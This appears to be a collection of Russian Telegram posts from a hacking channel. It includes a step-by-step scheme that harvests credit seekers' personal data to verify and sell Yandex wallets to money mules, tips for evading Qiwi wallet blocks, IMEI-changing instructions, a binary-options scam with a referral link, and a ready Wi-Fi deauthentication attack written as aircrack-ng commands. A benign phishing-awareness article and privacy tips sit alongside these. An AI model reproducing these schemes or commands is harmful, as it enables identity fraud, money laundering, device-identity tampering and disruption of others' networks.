@hacknet

Меняем IMEI на Андроиде

2019-03-24T13:10:38.135Z

IMEI – это уникальный номер, который присваивается каждому выпущенному сотовому телефону, планшету или модему. Он идентифицирует устройство и не повторяется среди других устройств. Многие пользователи интересуются, как можно самостоятельно поменять эту комбинацию символов. В этой статье канал HackNet | Labyrinths расскажет вам обо всех доступных методах смены IMEI на Андроиде.

Поехали:

Что такое IMEI и зачем он нужен

IMEI – это цифровая комбинация, уникальная для каждого мобильного устройства. С его помощью можно отследить и заблокировать телефон или планшет. Цель такой идентификации – защита техники потребителя от возможной кражи. Такое средство безопасности поможет в кратчайшие сроки отследить и найти похищенное устройство.

IMEI применяется в следующих ситуациях:

† Если злоумышленники похитили ваш смартфон, вы сможете дистанционно заблокировать доступ к нему. Для этого потребуется немедленно позвонить своему оператору связи и предоставить информацию о потере, указав индивидуальный номер устройства. Специалисты произведут блокировку телефона в пределах покрытия своей сети и внесут его в базу данных, а также сообщат другим поставщикам услуг мобильной связи о выполнении данных действий;

† Набор таких цифр говорит о многом. В этом кодовом обозначении спрятаны: модель (первые восемь цифр), происхождение и марка аппарата, производитель (следующие шесть цифр);

† IMEI можно использовать для отслеживания местонахождения смартфона, но для этого потребуется подписаться на соответствующую службу. При этом пользователь может осуществлять слежение с другой симки.

Проверка Imei

Прежде чем настроить IMEI, нужно узнать установленный на данный момент номер.

Выполнить это довольно просто:

Для всех устройств с операционной системой Андроид потребуется набрать команду *#06# и нажать на кнопку вызова. После выполнения этих действий моментально выскочит окошко, в котором будет указан действующий номер.

Также можно перейти в раздел настроек на своем смартфоне и в самом конце списка открыть вкладку «О приложении». Откроется окно с подробной информацией об устройстве, в котором можно посмотреть IMEI номер.

Изменение идентификатора

Существует несколько методик восстановления и смены идентификационного номера:

† При помощи инженерного меню. Такое меню предусмотрено на всех мобильных устройствах на платформе Android. Данные тут хранятся в энергонезависимой памяти NVRAM;

† При помощи сторонних программ и приложений. Для таких целей разработано специальное ПО, чтобы писать новые номера.

Через инженерное меню

Инженерное меню является скрытой функцией смартфона и предназначено для проведения тестирований и настроек.

Начать работу через инженерное меню можно, использовав специальные USSD команды. Комбинация клавиш вводится на стандартной панели набора телефонных номеров и отличается у каждого производителя. На различных интернет-ресурсах можно узнать комбинацию для определенной марки телефона.

Например: устройствам HTC соответствует комбинация: *#*#8255#*#*; Samsung Galaxy: *#*#4636#*#*; ZTE и Мейзу: *983*07#; планшет с процессором Nvidia (Xiaomi): *#*#6484#*#*; Huawei: *#*#2846589#*#*, *#*#3646633#*#*.

Как только будет введена команда, откроется соответствующее меню. Заблудиться в нем очень легко. Поэтому далее ориентируйтесь на следующий алгоритм:

В главном окне откройте панель «Connectivity». Кликните на пункт «CDS information», затем «Radio Information». Выберите строчку «Phone 1». Откроется новое окно, в котором первым пунктом будет отмечен действующий на данный момент IMEI. Нужно ввести в поле команд следующее: AT+EGMR=1,7, «нужный цифровой идентификатор».

Выполнить команду, нажав на кнопку «Send at command».

Внимание! На разных моделях смартфонов путь к нужным настройкам может варьироваться.

Для того чтобы изменения вступили в силу, потребуется произвести перезагрузку мобильного устройства. После перезагрузки проверьте установленный IMEI, введя комбинацию клавиш *#06# на клавиатуре.

Смена при помощи приложений

Еще одним способом замены идентификатора является применения специализированных программ. Но для их использования необходим статус и права суперпользователя в телефоне. Чтобы активировать данный вид прав, потребуется установить приложение Farmarootpro5.1 на смартфон.

Опять же, на разных марках телефонов Root-права получают по-разному.

Мы опишем общую инструкцию, которая подойдет далеко не всем:

Установите и запустите Farmaroot (в Google Play программы нет, поэтому ее нужно искать в сети). В главном меню тапните на «InstallSuperSU». Указываем способ рутирования (выбираем из имеющихся).
Далее перезапустите гаджет. Теперь, когда у вас есть особые права, установите одну из этих программ: Mobileuncle или Xposed IMEI Changer.
Порядок работы с приложением Mobileuncle следующий: Установите и запустите приложение Xposed framework. Откройте раздел инженерного режима, в котором выберите инженерное меню.
Далее, как и в предыдущей методике, переходим во вкладку «Connectivity» — «CDS information». Прописываем новое цифровое значение идентификатора -AT+EGMR=1,7, «новое значение» и выполняем перезагрузку системы.
Проверьте, установился ли новый imei, набрав соответствующую комбинацию клавиш. Данная программа предназначена для работы с процессорами серии MTK.
После успешно выполненных действий рекомендуется сбросить Root-права и удалить приложение Farmaroot для корректной работы терминала. Алгоритм работы с утилитой XPOSED IMEI Changer: Получите права суперпользователя, как в предыдущей методике. Запустите утилиту и откройте меню «Modules». Отметьте параметр IMEI Changer и перезагрузите мобильное устройство.
Затем откройте приложение изменения идентификатора. В пункте «New IMEI No» введите новое значение персонального кода и подтвердите выполненные действия.
Перезагрузите гаджет и проверьте результат. В случае неудачи и ввода неверного значения, повторите еще раз, но установив другое цифровое значение серийного номера. Такой способ идеально подходит для терминалов с процессором Snapdragon (Самсунг) от фирмы Qualcomm.
Новые числовые данные можно подобрать при помощи специального генератора. Такие приложения находятся в открытом доступе. Также существуют онлайн-версии, в которых можно пользоваться генератором, моментально подбирая новую комбинацию.

Внимание! Процедуры замены IMEI вносят серьёзные изменения в свойства аппарата, поэтому не рекомендуется выполнять такие действия с гарантийными телефонами. А изменение или удаление идентификатора с телефона без ведома владельца является уголовно наказуемым деянием.

Обходим блок Qiwi и спокойно выводим деньги.

2019-03-23T04:07:29.607Z

Предисловие

Думаю большинство из вас уже в курсе массовых и беспричинных блокировок qiwi-кошельков. При этом вся соль не в том, что компания блокирует кошельки, а в том, что восстановить доступ к ним становится практически невозможно.

Переходим к сути

И так, допустим, у вас есть 100 000 рублей которые необходимо отправить на qiwi-кошелек.

Предположим, что вы покупаете кошельки без идентификации (за 25 рублей:D)

На таких кошельках лимит по 15 000 рублей. Вы льете 15к и прощаетесь с деньгами и кошельком, потому что там бан почти с 100% шансом.

Или же вы покупаете кошельки со "средней" идентификацией (за ~100 рублей) и закидываете туда 30к и снова ловите бан, но уже с меньшим шансом и большими деньгами.

Для того, чтобы избежать неприятных последствий, следует придерживаться следующих правил:

На кошелек с лимитом в 15к рублей закидывать не более 3к за раз (а лучше еще меньше).
На кошелек с лимитом в 30к рублей закидывать не более 10к за раз (А лучше еще меньше).

Скинули деньги - перевели, закинули еще.

Перед крупными суммами обязательно проверяйте кошелек суммами меньше, хоть 10 рублей.

Киви очень любит выдавать баны на кошельки с "подозрительной активностью" так что делайте все с умом, а не играйте в заливщиков и не сидите потом в арбитраже\полицейском участке.

Как вывести деньги с Qiwi без комиссии

В частности, с банковской карты на QIWI переводить можно, ведь комиссия там 1%, а вот наоборот дороговато — 2% + 50 руб. Для того, чтобы не отдавать свои (или не свои) кровные за перевод, необходимо:

1. Зайти в VK Pay и нажать "Заполнить анкету".

2. Пройти идентификацию личности.

Если вы не прошли идентификацию, сверяйте все данные, ведь даже неправильное написание таких проблемных символов, как Е или Ё может повлиять на прохождение идентификации. Все перепроверили? Отправляйте данные на проверку снова.

После успешной идентификации, получаем следующее уведомление:

3. Возвращаемся в VK Pay и нажимаем кнопку Пополнения, вводим сумму.

4. Жмем на создание новой карты.

5. В новой вкладке заходим на сайт QIWI и напротив Виртуальной карты QIWI, в «Действиях с картой» выбираем «Получить реквизиты».

6. Полученные в SMS реквизиты совмещаем с теми, что показаны в личном кабинете QIWI, и вводим их на странице VK Pay. Пополняемся, введя код из SMS.

3. Теперь приступаем к выводу с VK Pay на карту. Нажимаем на кнопку «Вывести», выбираем нужную сумму для вывода и выбираем уже нашу реальную, а не виртуальную карту.

Готово! Средства пришли в считанные секунды.

Защищаем свой Telegram от взлома

2019-03-23T03:57:02.988Z

Используйте двухфакторную авторизацию со сложным паролем

Это можно сделать в настройках приложения. Усиленная защита слегка усложняет вход для вас, а для хакеров делает взлом практически невозможным.

Запомните пароль и не устанавливайте «резервный e-mail»

С запасным e-mail-адресом спокойнее — забытый пароль можно в любой момент восстановить при помощи почты. Но этим удобством могут воспользоваться и хакеры — взломать запасную почту гораздо легче, чем сам телеграм. Получив доступ к почте, злоумышленники легко могут добраться и до мессенджера.

Включите «Passcode Lock»

Такой пункт есть в настройках безопасности. При каждом входе в телеграм, приложение будет просить ввести пин-код, установленный в настройках. Это работает как блокировка телефона — если смартфон будет потерян, другой человек не сможет воспользоваться вашим аккаунтом.

Не отвечайте на звонки в Telegram от незнакомцев

Если в телеграм звонит незнакомый номер — не отвечайте. Это вполне могут быть злоумышленники, которых хотят узнать номер, на который привязан аккаунт. Зная номер телефона, они на 50% облегчают себе взлом.

Зайдите на аккаунт с другого телефона или планшета

Если с основным устройством что-то случится, вы сможете сразу же войти в аккаунт с другого и обезопасить его.

Как работает email фишинг. Практические примеры

2019-03-22T13:33:35.336Z

К сожалению, уровень осведомленности пользователей о современных угрозах довольно низок, поэтому, постараемся описать основные приемы.

При атаке на пользователей электронной почты у злоумышленников сейчас две основных цели: узнать пароль пользователя или попытаться заставить скачать некий файл. Для того чтобы собрать основные векторы по первому случаю — я создал ящик и «заказал» его взлом на нескольких площадках, которые довольно легко обнаружил с помощью поисковых систем.

Я не буду рассматривать представленные фишинговые домены и адреса почт: рядовой пользователь не запомнит чем отличается google.com/index.php от google.com.indexphp.cc. Основное, что я хочу донести — не надо слепо следовать каким-то указаниям в почте, особенно тем, которые побуждают выполнять некие действия здесь и сейчас, иначе случится что-то плохое.

Gmail — документы

Письмо отправлено с gmail адреса и сообщает о неких документах. В деловой переписке, особенно при большом потоке писем легко кликнуть на документ, попав на фишинговую страницу:

Хотя адрес «документов» ведет на neo4-yandex.ru, тем не менее с этого домена происходит редирект на:

(в коде страницы установлен сниффер, который логгирует все заходы на страницу — <img height=0 width=0 src="http://xvxvxvxvxvx.ru/image.php?img="> )

s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097

Обратите внимание на старый логотип Google на фишинговой странице — многие ли из вас отметили, что он старый? А много ли пользователей помнят или знают о том, что у Google уже новый лого? Скорее всего, форма была сделана с помощью инструмента Social-Engineer Toolkit , в нем этот логотип не обновлен. А может злоумышленники просто не обращают на это никакого внимания и не обновляют свои поделки.

Gmail — недоставленное сообщение

Приходит письмо, о том, что некоторые письма не были доставлены. А если что-то важное потерялось?

Многие люди по природе мнительны, поэтому клик по ссылке, а там уже известный редирект на: s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097

Gmail — срочно сменить пароль

Пользователь, какие-то нехорошие личности взломали твой пароль!

Обычные пользователи, скорее всего, пойдут менять пароль, только вот адрес для смены совершенно неподходящий: google.mail.com.ru-id322322.ru/548589203339099000020039939/o/p/l/?id376=YWtzZWthdHlhQGdtYWlsLmNvbXxha3Nla2F0eWE=

Gmail — ваша почта будет заблокирована

Вы сделали что-то неправильно (ведь рядовые пользователи «не разбираются в компьютерах»), теперь надо все исправить, иначе удалят ящик:

Что тут у нас? Опять старый логотип, но есть и кое-что новое — в URL передается адрес атакуемого ящика, для большей достоверности. Пользователь переходит по ссылке вида: w-google.com/account_c/mailer/0/u/16281666201206/?email=privethabr@gmail.com&fail=1&cGRmJmhsPV3N0BJmhsPXJnbWFpbC5j1VyJmFjdb20mbGV0EVyucGRmJmhsPVyPXZ5cGlza2EucGRdVyGmJmhsPXJ1JmFjdD1%27и попадает на «персональную страничку»:

Gmail — спам

Вы рассылали спам, теперь Вы не можете отправлять письма. Необходимо подтвердить аккаунт:

Опять старый логотип. Вектор вроде новый, но ведет, опять же на уже известную нам страничку: s-mail-google.com/u/0/accounts/index.php?id=&/id=d7115e86e7423e7aea202cebf544de21

Gmail — черный список

Вы добавлены в черный список, шутки кончились. Срочно подтвердите что вы не бот-программа:

По ссылке уже известный адрес: google.mail.com.ru-id322322.ru/?login=YWtzZWthdHlhfGFrc2VrYXR5YUBnbWFpbC5jb20=

Gmail — пора увеличить объем

Почтовый ящик почти заполнен, необходимо увеличить его объем. Надо, так надо:

Вот это письмо мне понравилось. Я ожидал стандартную форму логина, но нет, злоумышленники пошли другим путем. Такое внимание к деталям: указан логин жертвы, ссылка «изменить» неактивна, но самое интересное дальше: account-google.ru.com/ServicesLogin/settings/?account=privethabr&?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/

Указан логин жертвы, интерфейс явно гугловый, даже видно что место и правда кончилось. Даже домен подобран очень в тему. Но вот логотип опять старый. В общем, это пока явный фаворит фишингостроения.

Gmail — рабочие моменты

Способ сомнительный для рядовых пользователей, письмо с какой-то заявкой или реквизитами:

Создать карусель

Ссылка редиректит на домен account-google.ru.com/ServicesLogin/files/?account=privethabr&?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2&emr=1

Первая форма, на которой стоит новый логотип.

Mail.ru — рабочие моменты

Похож на способ указанный выше, прислали какие-то документы, вариаций может быть довольно много:

Создать карусель

Клик по ссылке и пользователю предлагают ввести пароль. Т.к. логин уже подставлен — большинство рядовых пользователей введет свой пароль «на автомате»:

Mail.ru — сообщение не доставлено

Вам не пришло важное письмо, но наш сервис уведомил Вас об этом, включая какие-то непонятные заголовки сообщения для пущей достоверности:

А там уже знакомая нам форма:

Mail.ru — увеличить объем ящика

Еще один лидер моего хит-парада правдоподобности:

При переходе попадаем на форму увеличения объема ящика:

Еще один тип такого письма:

По ссылке видим форму:

Похож на способ указанный выше, но фишинговый домен уже не работает:

Ссылка не работает: cew-mail.ru/mailcapacity/index.php?email=privethabr@mail.ru&fail=0&GPXZJmV5cWVzEuccGRmyPXZWVzc2FnZScPXZJmV5cEyMTQ0MDAwuccWVzGRmyWVzPXZGRmyPXZWVzc2FnZS8xMzY0MTEMDAwMWVzDU4NS8

Mail.ru — уведомление о безопасности

Вашу почту кто-то взломал, срочно бегите менять пароль:

Фишинговая ссылка редиректит на pechatay-prosto.ru/js/?Login=privethabr@mail.ru (уже не работает).

Yandex — уведомление о безопасности

Не подтвердите аккаунт — заблокируем почту:

По ссылке форма, с уже подставленным именем учетной записи:

Yandex — реактивация почтового ящика

Опять необходимо выполнить какие-то действия:

Добавлено много «правдоподобных» деталей:

Рассылка вредоносных файлов/криптолокеров

Пользуясь текущей экономической обстановкой и страхами людей злоумышленники рассылают письма, имитирующие уведомления от платежных систем и органов судебной или исполнительной власти:

Письмо, содержащее инструкции для «подтверждения» доменного имени от Роскомнадзора (на самом деле пользователь установит на свой сайт шелл):

Письмо из арбитражного суда, содержащее ссылку на криптолокер:

Письмо из Сбербанка о выданном кредите (со ссылкой на криптолокер):

Правила безопасности

Письмо, побуждающее Вас к каким-то немедленным действиям должно Вас насторожить: проверьте от кого оно пришло, домен и ссылку. Если сомневаетесь — спросите специалистов.
Если Вам что-то навязывают или присылают то, к чему Вы не имеете отношения — лучше удалить это письмо.
Не переходите по подозрительным ссылкам в письме, даже если они пришли в сообщениях от ваших знакомых или с каких-то официальных адресов.
Письма от судебных инстанций или органов: не поленитесь, найдите телефон этого ведомства и позвоните. Просто так никто судебные решения или уведомления о просроченных кредитах не высылает. Да и в 99% случаев Вы получите уведомление по обычной почте.
Используйте двухфакторную авторизацию: большинство почтовых сервисов в настоящее время поддерживает эту технологию.

Эта статья посвящена атаке на рядовых пользователей, в следующей статье я расскажу о фишинговых и социотехнических атаках на корпоративный сектор.

Высокий заработок на Бинарных Опционах.

2019-03-21T10:06:05.450Z

Всем независимым инвесторам мое уважение. Я рад что ты не работаешь на Дядю, а работаешь только на себя, инвестируя в свое будущее свои денежные средства и приумножаешь их.

Всех кто желает присоединиться и зарабатывать, прошу прочитать всю статью полностью и сделать для себя единственный вывод. Это то что нужно.

Я работаю на Бинарных Опционах по своей личной стратегии и сейчас я распишу как по ней нужно работать, как все правильно настроить и постоянно получать прибыль по данной стратегии. Присоединяйся и не шагу назад.

Для начала нужно зарегистрировать счет на торговой площадке, с которой будем работать и пополнить его. Пополнять лучше сразу от 3к рублей, что бы сразу получить бонус 100%. На бонус мы и будем торговать, не трогая наши личные средства. У меня на счету естественно намного больше, я уже 3 месяца зарабатываю по этой стратегии и вывожу деньги. Ставить я буду первоначальную сумму в 3000 руб.

После пополнения счета на торговой площадке, нужно выбрать валютную пару NZD/JPY Турбо,выставляем минимальное время в 1 минуту, это самое маленькое время и выставляем сумму за которую будет продан опцион. Все настраиваем правильно и без ошибок.

Выставляем все как положено и готовимся совершать торговую сделку. Нужно дождаться когда цена максимально близко подойдет ко Времени Блокировкии продаем опцион NZD/JPY Турбо ⏬. Продать его нужно возле Линни Блокировки вплотную и просто наслаждаться профитом.

По скрину выше видно что проданный опцион NZD/JPY Турбопринес профит. Мы тут же меняем цену опциона и опять ждем, когда цена подойдет вплотную к Линии Блокировкичто бы купить опцион NZD/JPY Турбо. ⏫

Как только цена подойдет в плотную к Линии Блокировки, мы покупаем опцион NZD/JPY Турбо ⏫ навсю сумму, которую мы получили с прошлой торговой сделки, получается 5070 рублей.Покупаем опцион и ждем нашего профита.

Как видно на скрине выше, купленный опцион принесет мне профит. Стратегия не подводит и еще не разу не подводила. Забираем профит, меняем опять цену опциона на полученную сумму и ждем когда цена подойдет вплотную к линии блокировки что бы Купить опцион NZD/JPY Турбо

Выставляем теперь сумму которую получили за прошлый опцион 8586 рублей.И кактолько цена подойдет в плотную ко Времени Блокировки, мы тут же покупаем опцион NZD/JPY Турбо ⏫ и простождем профит.

Как видите, все 3 торговые сделки принесли профит, тут главное все правильно сделать и без ошибок. Прочитай еще раз все внимательно и зарабатывать.

Еще раз:

1. Открываем термина и выбираем NZD/JPY Турбо, ставим минимальное время в 1 минуту, выставляем цену. (У меня 3000 руб).

2. Ждем когда цена подойдет вплотную ко Времени Блокировки, обязательно продаем ⏬ опцион NZD/JPY Турбо ⏬ и ждем своего профита.

3. Получаем профит, потом обязательно выставляем цену опциона, сумма должна быть такой же, что и закрытие предыдущего опциона. (У меня 5070 руб)

4. Ждем когда цена подойдет вплотную ко Времени Блокировки и обязательно покупаем ⏫ опцион NZD/JPY Турбо ⏫ и ждем своего профита.

5. Получаем профит, потом обязательно выставляем цену опциона, сумма должна быть такой же, что и закрытие предыдущего опциона. (У меня 8568 руб)

6. Ждем когда цена подойдет вплотную ко Времени Блокировки и обязательно покупаем ⏫ опцион NZD/JPY Турбо ⏫ и ждем своего профита.

7. Забираем 3 профит 14479 рублей и идем отдыхать несколько часов.

💲👉 Регистрация на торговой площадке для начала заработка. 👈💲

Как положить/за Ddos-ить Wi-fi

2019-03-21T01:45:47.015Z

Здарова, бандиты XD

Сегодня хотел бы показать и рассказать про простейший и рабочий способ положить любой Wi-Fi без доступа(пароля) к нему.

Единственное что, вам необходимо будет иметь ОС Linux Kali (лично у меня на флешке), где и как скачать учить вас не буду, в инете дохуя инфы.

Такс, шаг номер один - это запустить Линукс и зайти в консоль.

Затем, прописываем команду:

airmon-ng check kill

//она убирает левую хрень, без неё никак

airmon-ng start wlan0

//0 - это ноль такой, если что.

Далее пишем:

airodump-ng wlan0mon

//чекает вайфаи поблизи, подождав секунд 20-30 наживаем комбинацию Ctrl + c

Далее видим такую картину:

1-ые 5 это доступные сети(все их можно положить, работаю с первой.

Продолжим:

airodump-ng --bssid (ваш, стрелочкой показал) -с (номер канала) wlan0mon

После нажатия Enter cоздаём новую страничку консоли нажатием Ctrl + T и пишем финальную, сладкую команду, которая положит вифи кого-угодно, пока ты не захочешь остановить)

aireplay-ng --deauth 0 -a (ваш BSSID) wlan0mon

И запускаем :3

Чтоб остановить просто жмякаем Ctrl+C и закрываем консоли)

Статья для ознакомления, всем удачи :)

Безопасные почтовые сервисы

2019-03-19T09:44:10.408Z

Мыльная безопасность.

Мы делимся секретами, пересылаем документы и еще многое другое. И практически не задумываемся о том, что большинство писем - хранится без шифрования, на почтовых серверах. И их легко прочитать. А если и задумываемся, то надеемся на авось. Надеюсь, я не открою для вас ничего нового, если скажу, что практически все почтовые сервисы не сильно озабочены вашей безопасностью. За исключением нескольких.

Сначала посмотрим на то, какие вообще бывают почтовые сервисы. Одни шифруют сообщения, вторые - нет. Сервисы, в которых используется шифрование, имеют более высокую стеень доверия и конфиденциальности.

В таких сервисах письма будут в зашифрованном виде и при передаче, и на сервере. То есть даже взлом аккаунта мало поможет. При этом зашифрованные почтовики могут быть разные по пользовательскому интрефейсу.

Одни работают только в браузерном режиме, вторые, наоборот, только в виде десктопного приложения, третьи же вообще подключаем к уже существующей почте и создаем в этом аккаунте

дополнительный уровень безопасности.

Самый первый, о котором хочу рассказать - широко распиаренный

ProtonMail.com

Это один из самых популярных защищенных почтовых сервисов в России. В нем используется end-to-end шифрование. Что это значит?

В end-to-end шифровании конечные точки это: отправитель и устройство получателя. При таком способе сообщение шифруется на компьютере отправителя, дешифровка происходит уже на устройстве получателя. То есть в таком случае не используются никакие стороние серверы.

Плюсы:

Бесплатно (и без смс)

Свобода от законодательств Евросоюза, США, Швейцарии. (Данный пункт назвал бы весьма условным.)

Серверы находятся в Швейцарии.

При входе нужно вводить 2 пароля (второй пароль автоматически включается, если вы закрыли вкладку или переводили ноутбук в «спящий» режим)

Возможно отправления сообщений на сторонние сервисы. В таком случае получателю придет не письмо, а ссылка на ПРОТОНМАЙЛ, где надо будет регистрироваться.

Минусы:

Не забывайте пароль. При сбросе пароля вы теряете все письма.

Нельзя изменить подпись. (можно удалить подпись перед отправкой сообщения)

Не поддерживает IMAP, SMTP или POP3;

Ограничение на 150 сообщений в день.

Сервис достаточно неплох. Однако, уже известны случаи, когда Протонмайл выдавал переписку пользователей и даже их IP(!). Не даром Протон не рекомендует заводить аккаунты личностями навроде Сноудена.

Hushmail.com

Еще один из легендарных сервисов. На нем ваша почта хранится в зашифрованном виде, а расшифровывается только при входе по паролю. Между аккаунтами внутри сервиса почта автоматически шифруется и дешифруется. Во всех остальных случаях необходимо использовать секретный вопрос, на который получатель должен ответить для расшифровки письма.

Плюсы:

Поддерживает IMAP и POP и двухэтапную опцию проверки.

10 Gb для хранения электронной почты.

Предоставляется выбор домена при создании почтового ящика (@hushmail, @ hushmail.me, @ hush.com, @ hush.ai и @ mac.hush.com)

Минусы:

Бесплатная учетка имеет небольшое хранилище

Для регистрации указываеться альтернативное мыло и номер своего телефона.

Бесплатная пробная версия действует две недели.

С осторожностью отношусь к данному сервису, так как еще в 2007 году Hushmail выдал переписку с трех почтовых аккаунтов по решению суда. Здесь меня насторожило

не то, что выдал, а то как ему это удалось, если вся почта шифруется и без пользовательского пароля невозможно дешифровать.

VaultletMail

VaultletMail- часть пакета VaultletSuite. На данный момент представлен только в виде десктопной версии (да-да, ее надо скачать и установить на свой комп). Между двумя аккаунтами внутри системы сообщения шифруются полностью. Если вы хотите послать письмо на другую почтовую службу, можно использовать систему SpecialDelivery. С помощью этого функции создаете кодовую фразу, с помощью которой произойдет дешифровка сообщения у получателя. Отдельно бы отметил защиту получателя от пересылки, копирования, распечатки и цитирования писем. Так же очень интересная особенность задавать время, после которого ваше сообщение самоуничтожится у получателя. Можно даже отправлять письма с анонимных адресов,

позволяя тем самым не признавать их отправку.

countermail.com

Шведский сервис. Вся переписка хранится в зашифрованном виде. Достаточно забавная особенность, что данные сохраняются только на компакт-дисках. Возможна настройка USB-ключа для шифрования вашей электронной почты. То есть это абсолютно защищенный почтовый аккаунт.

Плюсы:

Может работать на iOS и поддерживает IMAP.

Не ведутся логи IP-адресов.

Имеется встроенный менеджер паролей (Safebox)

Минусы:

Нельзя отправить шифрованное сообщение на другой сервис

Слишком мало места для электронных писем

Бесплатно только одну неделю.

tutanota.com

Я бы назвал этот сервис немецким ответом на протон майл. Скудный и простой интерфейс. Tutanota использует AES и RSA для шифрования электронной почты.

Плюсы:

Бесплатные учетные записи включают 1 ГБ хранения.

Открытый исходный код и имеются приложения для iOS и Android.

Можно выбирать из: @ tutanota.com, @ tutanota.de, @ tutamail.com, @ tuta.io, @ keemail.me.

Минусы:

Только текстовые сообщения;

Нельзя присваивать псевдонимы;

Отсутствует функция поиска писем.

Отдельно хочу затронуть еще такую вещь, как плагины и расширения для почтовых программ. Плагины хороши тем, что их можно использовать при работе с уже существующими почтовыми сервисами, например, с Гмайл. В таком случае не надо создавать отдельный аккаунт, достаточно один раз настроить шифрование.

Enigmail

Enigmail – это бесплатное расширение для популярных почтовых программ. Для работы с Enigmail нужно установить соответствующее расширение и программу GNU Privacy Guard – в операционную систему. После установки плагина в почтовике появится новое меню OpenPGP с мастером настройки. Этот мастер проведет вас через процесс настройки, включая создание или импорт публичного и частного ключей.

По умолчанию сообщения подписаны только цифровой подписью. Поэтому пользователь должен будет включить шифрование «Encrypt This Message» в разделе S/MIME окна написания письма.

Яндекс кошелек. Создание и продажа.

2019-03-19T06:27:38.932Z

Но не заработанные суммы конек этой схемы, а - стабильность. Как себя помню, кошельки Яндекс.Деньги всегда были очень востребованы.

На основе изложенного здесь материала вы сможете построить стабильный бизнес, который на протяжении длительного срока будет регулярно поставлять вам неплохие средства.

Кроме того, я укажу вектор развития, который поможет вам сделать солидный капитал и задел на будущее.

Перехожу к описанию: всем известно, что кошельки в платежной системе Яндекс.Деньги бывают идентифицированными и не идентифицированными.

Не идентифицированный кошелек имеет массу ограничений и никому по большому счету не интересен, чтобы сделать его идентифицированным, необходимо пройти процедуру идентификации. Есть несколько вариантов данной процедуры, нам же сейчас интересен вариант через Equifax.

Идентифицировать кошельки мы будем на третьих лиц, которые хотят получить кредит, но не могут по каким либо причинам это сделать напрямую в банке,а потому обращаются к посредникам.

Схема подразумевает общение по телефону, а потому заранее подготовьте мобильный номер и симкарту, оформленную не на вас.

Лучше достать прямой городской номер, это всегда выглядит солидно.

Теперь осталось найти желающих получить кредит. Идем на доски объявлений (забиваем в Yandex «доска объявлений»),группы по кредитам на vk.com, различные интернет-форумы, местные газеты. Очень много звонков вам не нужно,потому как 3-7 клиентов в день — это более чем достаточно. Везде размещаем нехитрое объявление с указанием вашего (левого) телефона.

Вот пример возможного объявления:

Кредитный брокер «НАШАКОМПАНИЯ» помогает в получение кредита наличными, товарного, кредита, автокредита, ипотеки.

7 лет успешной работы, индивидуальный подход к каждому клиенту. Умеем решать сложные проблемы с банками: 8(123)4567890 (Наша левая мобила).

Размещайте до тех пор, пока у вас не будет минимум три подходящих звонка ежедневно.

Группы, форумы, доски это для теста. Стремиться надо к созданию своего сайта и официальной раскрутке и рекламе. Уверяю, это себя окупит.

Сайт с крутым и солидным дизайном вам обойдется в + - 8000 рублей.

Есть несколько важных правил общения с клиентами:

1.Официальность

Добрый день, "НАШАКОМПАНИЯ" ,менеджер Вася Пупкин, чем могу быть вам полезен?

Далее вы выслушиваете просьбу клиента и естественно на словах вы ему можете помочь.

2.Заинтересованность

Задавайте вопросы, уточняйте по максимуму, имитируйте неподдельный интерес к его заявки. Клиент должен видеть заинтересованность.

А вы должны получить информацию: была ли у клиента история взаимоотношения с банками.Вам подходят только те клиенты, у которых богатая клиентская история.

3.Будьте благодарны

Всех клиентов от души благодарите за звонок,сообщите что сделаете все возможное, чтобы помочь им.

Тех, у кого богатая история (не важно положительная или отрицательная), записываете.

Вам нужно ФИО; телефон, а лучше несколько телефонов; время, когда им можно позвонить.

---------------------------------------------------------------------------------------

Важно! Этот этап только для того, чтобы отобрать подходящих клиентов для дальнейшей работы.

---------------------------------------------------------------------------------------

На всех подходящих клиентов (которые имеют богатую кредитную историю) мы заводим кошельки Яндекс Денег.

При работе с электронными кошельками обязательно использование связки VPN+соксы (RU). Сокс меняется при создании каждого нового кошелька.

Что будет, если этого не сделать:

Ваш IP будет засвечен и в случае проблем с проданным кошельком вы можете оказаться фигурантом какой-нибудь неприятной истории.

Используя один IP, вы скоро будете вычислены системой, все ваши созданные кошельки заблокированы.

После мы пополняем созданные кошельки на 90 рублей с любого платежного терминала.

_________________________________________________________________

!!!Ни в коем случае не пополняйте кошельки с другого кошелька!!!

_________________________________________________________________

Заходим в кошелек. Связываемся с клиентом и в процессе телефонного разговора задаем ему те вопросы, ответы на которые необходимы для идентификации кошелька.

Поздравляем, кошелек готов(+500-700 р. ваши).

Попросите клиента заранее вспомнить кредитную историю, подготовить паспорт, ИНН, пенсионное свидетельство.

Предупредите, что искажение любой информации будет незамедлительно выявлено и результат будет крайне отрицательный.

Не расстраивайтесь, если с первого раза у вас не вышло идентифицировать кошелек. У вас будет еще немало попыток.

Как у нас появились кошельки создаем сервис по продаже кошельков Яндекс.Денег.

По поводу этической стороны процесса: что бы не делалось с кошельками, дропам ничего не грозит, так как их причастность доказать будет абсолютно невозможно.

Ваши риски: если вы соблюдаете правила анонимности, забудьте о рисках, их нету.

По поводу статьи мошенничество: нету факта мошенничества, потому как невозможно доказать, что то, что вы получили, было использовано для создания кошелька.

Да и трогать вас не будут, это очень безопасный вид бизнеса. Старайтесь ничего не брать от клиентов, даже ксерокопию паспорта, ничего!.

Сколько можно заработать: один кошелек стоит в среднем 500-700 рублей. В день спокойно можно продавать 3-7 кошелька. Итого 1500-3500 рублей ежедневно.

Хороший сервис по продаже электронных кошельков и дебетовых карт приносит более 300 000 рублей прибыли в месяц.

… форумов масса! Ищите и размещайтесь!

Обязательно разместитесь на всех форумах, что найдете.

Мой совет начать продавать кошельки по цене 300-500 за штуку, так вы быстро наберете клиентскую базу.

Также кошельки можно продавать размещая объявления на досках бесплатных объявлений и специальных группах в контакте.

--------------------------------------------------------------------------------------------------

Еще один вопрос, который бы мне хотелось осветить в конце: как автоматизировать весь этот процесс?

Тут все очень просто: вам необходимо посадить на прием звонков наемного сотрудника за %, оклад или %+оклад.

Но это уже в тот момент, когда механизм отлажен и приносит солидный доход.

Создание и продажа Qiwi кошельков.

2019-03-18T16:33:24.670Z

Идея пришла мне, случайно, а именно, когда понадобилось несколько киви кошельков с максимальным лимитом хранения бабла + привязанная карта киви банка, разумеется не на себя зареганные.

Все, что можно найти у продавцов, как по мне показалось таких денег явно не стоит, лично, что мне попадалось в районе от 8-15к за полный комплект(симка, пд, кошелек, карта), хотя по факту расходники на это 500р от силы стоят.

